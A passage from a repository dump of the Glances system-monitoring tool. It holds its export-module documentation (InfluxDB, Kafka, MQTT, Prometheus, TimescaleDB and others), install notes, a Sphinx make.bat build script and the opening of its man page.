added for all measurement name\n    # Ex: prefix=foo\n    #     => foo.cpu\n    #     => foo.mem\n    # You can also use dynamic values\n    #prefix=foo\n    # Following tags will be added for all measurements\n    # You can also use dynamic values.\n    # Note: hostname and name (for process) are always added as a tag\n    #tags=foo:bar,spam:eggs,domain:`domainname`\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export influxdb2\n\nNote: if you want to use SSL, please set 'protocol=https'.\n\nInfluxDB v3 (for InfluxDB 3.x)\n------------------------------\n\nNote: The InfluxDB v3 client (https://pypi.org/project/influxdb3-python/)\nis only available for Python 3.8 or higher.\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [influxdb3]\n    # Configuration for the --export influxdb3 option\n    # https://influxdb.com/\n    host=http://localhost:8181\n    org=nicolargo\n    database=glances\n    token=PUT_YOUR_INFLUXDB3_TOKEN_HERE\n    # Set the interval between two exports (in seconds)\n    # If the interval is set to 0, the Glances refresh time is used (default behavor)\n    #interval=0\n    # Prefix will be added for all measurement name\n    # Ex: prefix=foo\n    #     => foo.cpu\n    #     => foo.mem\n    # You can also use dynamic values\n    #prefix=foo\n    # Following tags will be added for all measurements\n    # You can also use dynamic values.\n    # Note: hostname and name (for process) are always added as a tag\n    #tags=foo:bar,spam:eggs,domain:`domainname`\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export influxdb3\n\nNote: if you want to use SSL, please set host with 'https' scheme instead of 'http'.\n\nGrafana\n-------\n\nFor Grafana users, Glances provides a dedicated for `InfluxQL`_ or `Flux`_ InfluxDB datasource.\n\n.. image:: ../_static/glances-influxdb.png\n\nTo use it, just import the file in your ``Grafana`` web interface.\n\n.. image:: ../_static/grafana.png\n\n.. _InfluxQL: https://github.com/nicolargo/glances/blob/master/conf/glances-grafana-influxql.json\n.. _Flux: https://github.com/nicolargo/glances/blob/master/conf/glances-grafana-flux.json\n"
  },
  {
    "path": "docs/gw/json.rst",
    "content": ".. _json:\n\nJSON\n====\n\nIt's possible to export stats to a JSON file.\n\n.. code-block:: console\n\n    $ glances --export json --export-json-file /tmp/glances.json\n"
  },
  {
    "path": "docs/gw/kafka.rst",
    "content": ".. _kafka:\n\nKafka\n=====\n\nYou can export statistics to a ``Kafka`` server.\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [kafka]\n    host=localhost\n    port=9092\n    topic=glances\n    #compression=gzip\n    # Tags will be added for all events\n    #tags=foo:bar,spam:eggs\n    # You can also use dynamic values\n    #tags=hostname:`hostname -f`\n\nNote: you can enable the compression but it consume CPU on your host.\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export kafka\n\nStats  are sent in native ``JSON`` format to the topic:\n\n- ``key``: plugin name\n- ``value``: JSON dict\n\nExample of record for the memory plugin:\n\n.. code-block:: ini\n\n    ConsumerRecord(topic=u'glances', partition=0, offset=1305, timestamp=1490460592248, timestamp_type=0, key='mem', value=u'{\"available\": 2094710784, \"used\": 5777428480, \"cached\": 2513543168, \"mem_careful\": 50.0, \"percent\": 73.4, \"free\": 2094710784, \"mem_critical\": 90.0, \"inactive\": 2361626624, \"shared\": 475504640, \"history_size\": 28800.0, \"mem_warning\": 70.0, \"total\": 7872139264, \"active\": 4834361344, \"buffers\": 160112640}', checksum=214895201, serialized_key_size=3, serialized_value_size=303)\n\nPython code example to consume Kafka Glances plugin:\n\n.. code-block:: python\n\n    from kafka import KafkaConsumer\n    import json\n\n    consumer = KafkaConsumer('glances', value_deserializer=json.loads)\n    for s in consumer:\n      print(s)\n"
  },
  {
    "path": "docs/gw/mongodb.rst",
    "content": ".. _couchdb:\n\nMongoDB\n=======\n\nYou can export statistics to a ``MongoDB`` server.\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [mongodb]\n    host=localhost\n    port=27017\n    db=glances\n    user=root\n    password=example\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export mongodb\n\nDocuments are stored in native the configured database (glances by default)\nwith one collection per plugin.\n\nExample of MongoDB Document for the load stats:\n\n.. code-block:: json\n\n    {\n        _id: ObjectId('63d78ffee5528e543ce5af3a'),\n        min1: 1.46337890625,\n        min5: 1.09619140625,\n        min15: 1.07275390625,\n        cpucore: 4,\n        history_size: 1200,\n        load_disable: 'False',\n        load_careful: 0.7,\n        load_warning: 1,\n        load_critical: 5\n    }\n"
  },
  {
    "path": "docs/gw/mqtt.rst",
    "content": ".. _mqtt:\n\nMQTT\n========\n\nYou can export statistics to an ``MQTT`` server. The\nconnection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [mqtt]\n    host=localhost\n    # Overwrite device name in the topic (see detail in PR#2701)\n    #devicename=localhost\n    port=883\n    tls=true\n    user=glances\n    password=glances\n    topic=glances\n    topic_structure=per-metric\n    callback_api_version=2\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export mqtt\n\nThe topic_structure field aims at configuring the way stats are exported to MQTT (see #1798):\n- per-metric: one event per metric (default behavior)\n- per-plugin: one event per plugin\n"
  },
  {
    "path": "docs/gw/nats.rst",
    "content": ".. _nats:\n\nNATS\n====\n\nNATS is a message broker.\n\nYou can export statistics to a ``NATS`` server.\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [nats]\n    host=nats://localhost:4222\n    prefix=glances\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export nats\n\nData model\n-----------\n\nGlances stats are published as JSON messagesto the following subjects:\n\n    <prefix>.<plugin>\n\nExample:\n\n    CPU stats are published to glances.cpu\n\nSo a simple Python client will subscribe to this subject with:\n\n\n    import asyncio\n\n    import nats\n\n\n    async def main():\n        nc = nats.NATS()\n\n        await nc.connect(servers=[\"nats://localhost:4222\"])\n\n        future = asyncio.Future()\n\n        async def cb(msg):\n            nonlocal future\n            future.set_result(msg)\n\n        await nc.subscribe(\"glances.cpu\", cb=cb)\n\n        # Wait for message to come in\n        print(\"Waiting (max 30 seconds) for a message on 'glances' subject...\")\n        msg = await asyncio.wait_for(future, 30)\n        print(msg.subject, msg.data)\n\n    if __name__ == '__main__':\n        asyncio.run(main())\n\nTo subscribe to all Glannces stats use wildcard:\n\n        await nc.subscribe(\"glances.*\", cb=cb)\n\n"
  },
  {
    "path": "docs/gw/opentsdb.rst",
    "content": ".. _opentsdb:\n\nOpenTSDB\n========\n\nYou can export statistics to an ``OpenTSDB`` server (time series server).\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [opentsdb]\n    host=localhost\n    port=4242\n    prefix=glances\n    tags=foo:bar,spam:eggs\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export opentsdb\n"
  },
  {
    "path": "docs/gw/prometheus.rst",
    "content": ".. _prometheus:\n\nPrometheus\n==========\n\nYou can export statistics to a ``Prometheus`` server through an exporter.\nWhen the *--export prometheus* is used, Glances creates a Prometheus exporter\nlistening on <host:port> (defined in the Glances configuration file).\n\n.. code-block:: ini\n\n    [prometheus]\n    host=localhost\n    port=9091\n    prefix=glances\n    labels=src:glances\n\n.. note::\n\n    When running Glances in a container, set ``host=0.0.0.0`` in the Glances configuration file.\n\n.. note::\n\n    You can use dynamic fields for the label (ex: labels=system:`uname -s`)\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export prometheus\n\nYou can check that Glances exports the stats using this URL: http://localhost:9091\n\n.. image:: ../_static/prometheus_exporter.png\n\nIn order to store the metrics in a Prometheus server, you should add this\nexporter to your Prometheus server configuration with the following lines\n(in the prometheus.yml configuration file):\n\n.. code-block:: ini\n\n    scrape_configs:\n      - job_name: 'glances_exporter'\n        scrape_interval: 5s\n        static_configs:\n          - targets: ['localhost:9091']\n\n.. image:: ../_static/prometheus_server.png\n"
  },
  {
    "path": "docs/gw/rabbitmq.rst",
    "content": ".. _rabbitmq:\n\nRabbitMQ\n========\n\nYou can export statistics to an ``RabbitMQ`` server (AMQP Broker). The\nconnection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [rabbitmq]\n    host=localhost\n    port=5672\n    user=glances\n    password=glances\n    queue=glances_queue\n    #protocol=amqps\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export rabbitmq\n"
  },
  {
    "path": "docs/gw/restful.rst",
    "content": ".. _restful:\n\nRESTful\n=======\n\nYou can export statistics to a ``RESTful`` JSON server. All the available stats\nwill be exported in one big (~15 KB) POST request to the RESTful endpoint.\n\nThe RESTful endpoint should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [restful]\n    # Configuration for the --export-restful option\n    # Example, export to http://localhost:6789/\n    host=localhost\n    port=6789\n    protocol=http\n    path=/\n\nURL Syntax:\n\n.. code-block:: ini\n\n    http://localhost:6789/\n    |      |         |   |\n    |      |         |   path\n    |      |         port\n    |      host\n    protocol\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export restful\n\nGlances will generate stats as a big JSON dictionary (see example `here`_).\n\n\n.. _here: https://pastebin.com/7U3vXqvF\n"
  },
  {
    "path": "docs/gw/riemann.rst",
    "content": ".. _riemann:\n\nRiemann\n=======\n\nYou can export statistics to a ``Riemann`` server (using TCP protocol).\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [riemann]\n    host=localhost\n    port=5555\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export riemann\n"
  },
  {
    "path": "docs/gw/statsd.rst",
    "content": ".. _statsd:\n\nStatsD\n======\n\nYou can export statistics to a ``StatsD`` server (welcome to Graphite!).\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [statsd]\n    host=localhost\n    port=8125\n    prefix=glances\n\n.. note:: The ``prefix`` is optional (``glances`` by default)\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export statsd\n\nGlances will generate stats as:\n\n::\n\n    'glances.cpu.user': 12.5,\n    'glances.cpu.total': 14.9,\n    'glances.load.cpucore': 4,\n    'glances.load.min1': 0.19,\n    ...\n"
  },
  {
    "path": "docs/gw/timescaledb.rst",
    "content": ".. _timescale:\n\nTimeScaleDB\n===========\n\nTimescaleDB is a time-series database built on top of PostgreSQL.\n\nYou can export statistics to a ``TimescaleDB`` server.\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [timescaledb]\n    host=localhost\n    port=5432\n    db=glances\n    user=postgres\n    password=password\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export timescaledb\n\nData model\n-----------\n\nEach plugin will create an `hypertable`_ in the TimescaleDB database.\n\nTables are partitionned by time (using the ``time`` column).\n\nTables are segmented by hostname (in order to have multiple host stored in the Glances database).\n\nFor plugin with a key (example network where the key is the interface name), the key will\nbe added as a column in the table (named key_id) and added to the timescaledb.segmentby option.\n\nCurrent limitations\n-------------------\n\nSensors, Fs and DiskIO plugins are not supported by the TimescaleDB exporter.\n\nIn the cpu plugin, the user field is exported as user_cpu (user_percpu in the percpu plugin)\nbecause user is a reserved keyword in PostgreSQL.\n\n.. _hypertable: https://docs.tigerdata.com/use-timescale/latest/hypertables/\n"
  },
  {
    "path": "docs/gw/zeromq.rst",
    "content": ".. _zeromq:\n\nZeroMQ\n======\n\nYou can export statistics to a ``ZeroMQ`` server.\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [zeromq]\n    host=127.0.0.1\n    port=5678\n    prefix=G\n\nGlances `envelopes`_ the stats before publishing it. The message is\ncomposed of three frames:\n\n1. the prefix configured in the [zeromq] section (as STRING)\n2. the Glances plugin name (as STRING)\n3. the Glances plugin stats (as JSON)\n\nRun Glances with:\n\n.. code-block:: console\n\n    $ glances --export zeromq\n\nFollowing is a simple Python client to subscribe to the Glances stats:\n\n.. code-block:: python\n\n    # -*- coding: utf-8 -*-\n    #\n    # ZeroMQ subscriber for Glances\n    #\n\n    import json\n    import zmq\n\n    context = zmq.Context()\n\n    subscriber = context.socket(zmq.SUB)\n    subscriber.setsockopt(zmq.SUBSCRIBE, 'G')\n    subscriber.connect(\"tcp://127.0.0.1:5678\")\n\n    while True:\n        _, plugin, data_raw = subscriber.recv_multipart()\n        data = json.loads(data_raw)\n        print('{} => {}'.format(plugin, data))\n\n    subscriber.close()\n    context.term()\n\n.. _envelopes: http://zguide.zeromq.org/page:all#Pub-Sub-Message-Envelopes\n"
  },
  {
    "path": "docs/index.rst",
    "content": "Glances\n=======\n\n.. image:: _static/screenshot-wide.png\n\nGlances is a cross-platform monitoring tool that aims to present\nmaximum information in minimal space through either a curses-based\nor Web-based interface. It can dynamically adapt the displayed\ninformation depending on the terminal size.\n\nIt can also work in client/server mode. Remote monitoring can be\ndone via terminal, Web interface, or API (XMLRPC and RESTful).\n\nStats can also be exported to :ref:`files or external databases<gw>`.\n\nIt is also possible to use it in your own Python scripts thanks to\nthe :ref:`Glances API<api>` or in any other application through\nthe :ref:`RESTful API<api_restful>`.\n\nAI assistants (Claude, Cursor, …) can query Glances directly through the\n:ref:`MCP (Model Context Protocol) server<api_mcp>`.\n\nTable of Contents\n=================\n\n.. toctree::\n   :maxdepth: 2\n\n   install\n   quickstart\n   cmds\n   config\n   aoa/index\n   gw/index\n   api/python\n   api/restful\n   api/mcp\n   docker\n   faq\n   support\n\n.. _psutil: https://github.com/giampaolo/psutil\n\n"
  },
  {
    "path": "docs/install.rst",
    "content": ".. _install:\n\nInstall\n=======\n\nGlances is available on ``PyPI``. By using PyPI, you are sure to have the\nlatest stable version.\n\nTo install, simply use ``pip``:\n\n.. code-block:: console\n\n    pip install glances\n\n*Note*: Python headers are required to install `psutil`_. For instance,\non Debian/Ubuntu, you must first install the *python-dev* package.\nOn Fedora/CentOS/RHEL, first, install the *python-devel* package. For Windows,\npsutil can be installed from the binary installation file.\n\nYou can also install the following libraries to use the optional\nfeatures (such as the web interface, export modules, etc.):\n\n.. code-block:: console\n\n    pip install glances[all]\n\nTo upgrade Glances and all its dependencies to the latest versions:\n\n.. code-block:: console\n\n    pip install --upgrade glances\n    pip install --upgrade psutil\n    pip install --upgrade glances[all]\n\nFor additional installation methods, read the official `README`_ file.\n\nShell tab completion\n====================\n\nGlances 4.3.2 and higher includes shell tab autocompletion thanks to the --print-completion option.\n\nFor example, on a Linux operating system with Bash shell:\n\n.. code-block:: console\n\n    $ glances --print-completion bash | sudo tee -a /etc/bash_completion.d/glances\n    $ source /etc/bash_completion.d/glances\n\nFollowing shells are supported: bash, zsh and tcsh.\n\n.. _psutil: https://github.com/giampaolo/psutil\n.. _README: https://github.com/nicolargo/glances/blob/master/README.rst\n"
  },
  {
    "path": "docs/make.bat",
    "content": "@ECHO OFF\r\n\r\nREM Command file for Sphinx documentation\r\n\r\nif \"%SPHINXBUILD%\" == \"\" (\r\n\tset SPHINXBUILD=sphinx-build\r\n)\r\nset BUILDDIR=_build\r\nset ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% .\r\nset I18NSPHINXOPTS=%SPHINXOPTS% .\r\nif NOT \"%PAPER%\" == \"\" (\r\n\tset ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%\r\n\tset I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%\r\n)\r\n\r\nif \"%1\" == \"\" goto help\r\n\r\nif \"%1\" == \"help\" (\r\n\t:help\r\n\techo.Please use `make ^<target^>` where ^<target^> is one of\r\n\techo.  html       to make standalone HTML files\r\n\techo.  dirhtml    to make HTML files named index.html in directories\r\n\techo.  singlehtml to make a single large HTML file\r\n\techo.  pickle     to make pickle files\r\n\techo.  json       to make JSON files\r\n\techo.  htmlhelp   to make HTML files and a HTML help project\r\n\techo.  qthelp     to make HTML files and a qthelp project\r\n\techo.  devhelp    to make HTML files and a Devhelp project\r\n\techo.  epub       to make an epub\r\n\techo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter\r\n\techo.  text       to make text files\r\n\techo.  man        to make manual pages\r\n\techo.  texinfo    to make Texinfo files\r\n\techo.  gettext    to make PO message catalogs\r\n\techo.  changes    to make an overview over all changed/added/deprecated items\r\n\techo.  xml        to make Docutils-native XML files\r\n\techo.  pseudoxml  to make pseudoxml-XML files for display purposes\r\n\techo.  linkcheck  to check all external links for integrity\r\n\techo.  doctest    to run all doctests embedded in the documentation if enabled\r\n\techo.  coverage   to run coverage check of the documentation if enabled\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"clean\" (\r\n\tfor /d %%i in (%BUILDDIR%\\*) do rmdir /q /s %%i\r\n\tdel /q /s %BUILDDIR%\\*\r\n\tgoto end\r\n)\r\n\r\n\r\nREM Check if sphinx-build is available and fallback to Python version if any\r\n%SPHINXBUILD% 1>NUL 2>NUL\r\nif errorlevel 9009 goto sphinx_python\r\ngoto sphinx_ok\r\n\r\n:sphinx_python\r\n\r\nset SPHINXBUILD=python -m sphinx.__init__\r\n%SPHINXBUILD% 2> nul\r\nif errorlevel 9009 (\r\n\techo.\r\n\techo.The 'sphinx-build' command was not found. Make sure you have Sphinx\r\n\techo.installed, then set the SPHINXBUILD environment variable to point\r\n\techo.to the full path of the 'sphinx-build' executable. Alternatively you\r\n\techo.may add the Sphinx directory to PATH.\r\n\techo.\r\n\techo.If you don't have Sphinx installed, grab it from\r\n\techo.http://sphinx-doc.org/\r\n\texit /b 1\r\n)\r\n\r\n:sphinx_ok\r\n\r\n\r\nif \"%1\" == \"html\" (\r\n\t%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/html.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"dirhtml\" (\r\n\t%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"singlehtml\" (\r\n\t%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"pickle\" (\r\n\t%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can process the pickle files.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"json\" (\r\n\t%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can process the JSON files.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"htmlhelp\" (\r\n\t%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can run HTML Help Workshop with the ^\r\n.hhp project file in %BUILDDIR%/htmlhelp.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"qthelp\" (\r\n\t%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can run \"qcollectiongenerator\" with the ^\r\n.qhcp project file in %BUILDDIR%/qthelp, like this:\r\n\techo.^> qcollectiongenerator %BUILDDIR%\\qthelp\\Glances.qhcp\r\n\techo.To view the help file:\r\n\techo.^> assistant -collectionFile %BUILDDIR%\\qthelp\\Glances.ghc\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"devhelp\" (\r\n\t%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"epub\" (\r\n\t%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The epub file is in %BUILDDIR%/epub.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latex\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; the LaTeX files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latexpdf\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tcd %BUILDDIR%/latex\r\n\tmake all-pdf\r\n\tcd %~dp0\r\n\techo.\r\n\techo.Build finished; the PDF files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latexpdfja\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tcd %BUILDDIR%/latex\r\n\tmake all-pdf-ja\r\n\tcd %~dp0\r\n\techo.\r\n\techo.Build finished; the PDF files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"text\" (\r\n\t%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The text files are in %BUILDDIR%/text.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"man\" (\r\n\t%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The manual pages are in %BUILDDIR%/man.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"texinfo\" (\r\n\t%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"gettext\" (\r\n\t%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The message catalogs are in %BUILDDIR%/locale.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"changes\" (\r\n\t%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.The overview file is in %BUILDDIR%/changes.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"linkcheck\" (\r\n\t%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Link check complete; look for any errors in the above output ^\r\nor in %BUILDDIR%/linkcheck/output.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"doctest\" (\r\n\t%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Testing of doctests in the sources finished, look at the ^\r\nresults in %BUILDDIR%/doctest/output.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"coverage\" (\r\n\t%SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Testing of coverage in the sources finished, look at the ^\r\nresults in %BUILDDIR%/coverage/python.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"xml\" (\r\n\t%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The XML files are in %BUILDDIR%/xml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"pseudoxml\" (\r\n\t%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.\r\n\tgoto end\r\n)\r\n\r\n:end\r\n"
  },
  {
    "path": "docs/man/glances.1",
    "content": "'\\\" t\n.\\\" Man page generated from reStructuredText\n.\\\" by the Docutils 0.22.4 manpage writer.\n.\n.\n.nr rst2man-indent-level 0\n.\n.de1 rstReportMargin\n\\\\$1 \\\\n[an-margin]\nlevel \\\\n[rst2man-indent-level]\nlevel margin: \\\\n[rst2man-indent\\\\n[rst2man-indent-level]]\n-\n\\\\n[rst2man-indent0]\n\\\\n[rst2man-indent1]\n\\\\n[rst2man-indent2]\n..\n.de1 INDENT\n.\\\" .rstReportMargin pre:\n. RS \\\\$1\n. nr rst2man-indent\\\\n[rst2man-indent-level] \\\\n[an-margin]\n. nr rst2man-indent-level +1\n.\\\" .rstReportMargin post:\n..\n.de UNINDENT\n. RE\n.\\\" indent \\\\n[an-margin]\n.\\\" old: \\\\n[rst2man-indent\\\\n[rst2man-indent-level]]\n.nr rst2man-indent-level -1\n.\\\" new: \\\\n[rst2man-indent\\\\n[rst2man-indent-level]]\n.in \\\\n[rst2man-indent\\\\n[rst2man-indent-level]]u\n..\n.TH \"GLANCES\" \"1\" \"Mar 15, 2026\" \"4.5.3_dev01\" \"Glances\"\n.SH NAME\nglances \\- An eye on your system\n.SH SYNOPSIS\n.sp\n\\fBglances\\fP [OPTIONS]\n.SH DESCRIPTION\n.sp\n\\fBglances\\fP is a cross\\-platform curses\\-based monitoring tool that aims\nto present a maximum of information in a minimum of space, ideally fitting\nin a classic 80x24 terminal or larger for more details. It can adapt\ndynamically to the displayed information depending on the terminal size.\nIt can also work in client/server mode.\nRemote monitoring can be performed via a terminal or web interface.\n.sp\n\\fBglances\\fP is written in Python and uses the \\fIpsutil\\fP library to get\ninformation from your system.\n.SH OPTIONS\n.SH COMMAND-LINE OPTIONS\n.INDENT 0.0\n.TP\n.B \\-h, \\-\\-help\nshow this help message and exit\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-V, \\-\\-version\nshow the program’s version number and exit\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-d, \\-\\-debug\nenable debug mode\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-print\\-completion\ngenerate shell tab completion scripts for Glances CLI\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-C CONF_FILE, \\-\\-config CONF_FILE\npath to the configuration file\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-P PLUGIN_DIRECTORY, \\-\\-plugins PLUGIN_DIRECTORY\npath to a directory containing additional plugins\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-modules\\-list\ndisplay modules (plugins & exports) list and exit\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-disable\\-plugin PLUGIN\ndisable PLUGIN (comma\\-separated list)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-enable\\-plugin PLUGIN\nenable PLUGIN (comma\\-separated list)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-stdout PLUGINS_STATS\ndisplay stats to stdout (comma\\-separated list of plugins/plugins.attribute)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-export EXPORT\nenable EXPORT module (comma\\-separated list)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-export\\-csv\\-file EXPORT_CSV_FILE\nfile path for CSV exporter\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-export\\-json\\-file EXPORT_JSON_FILE\nfile path for JSON exporter\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-disable\\-process\ndisable process module (reduce Glances CPU consumption)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-disable\\-webui\ndisable the Web UI (only the RESTful API will respond)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-light, \\-\\-enable\\-light\nlight mode for Curses UI (disable all but the top menu)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-0, \\-\\-disable\\-irix\ntask’s CPU usage will be divided by the total number of CPUs\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-1, \\-\\-percpu\nstart Glances in per CPU mode\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-2, \\-\\-disable\\-left\\-sidebar\ndisable network, disk I/O, FS and sensors modules\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-3, \\-\\-disable\\-quicklook\ndisable quick look module\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-4, \\-\\-full\\-quicklook\ndisable all but quick look and load\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-5, \\-\\-disable\\-top\ndisable top menu (QuickLook, CPU, MEM, SWAP, and LOAD)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-6, \\-\\-meangpu\nstart Glances in mean GPU mode\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-disable\\-bold\ndisable bold mode in the terminal\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-disable\\-bg\ndisable background colors in the terminal\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-enable\\-process\\-extended\nenable extended stats on top process\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-c CLIENT, \\-\\-client CLIENT\nconnect 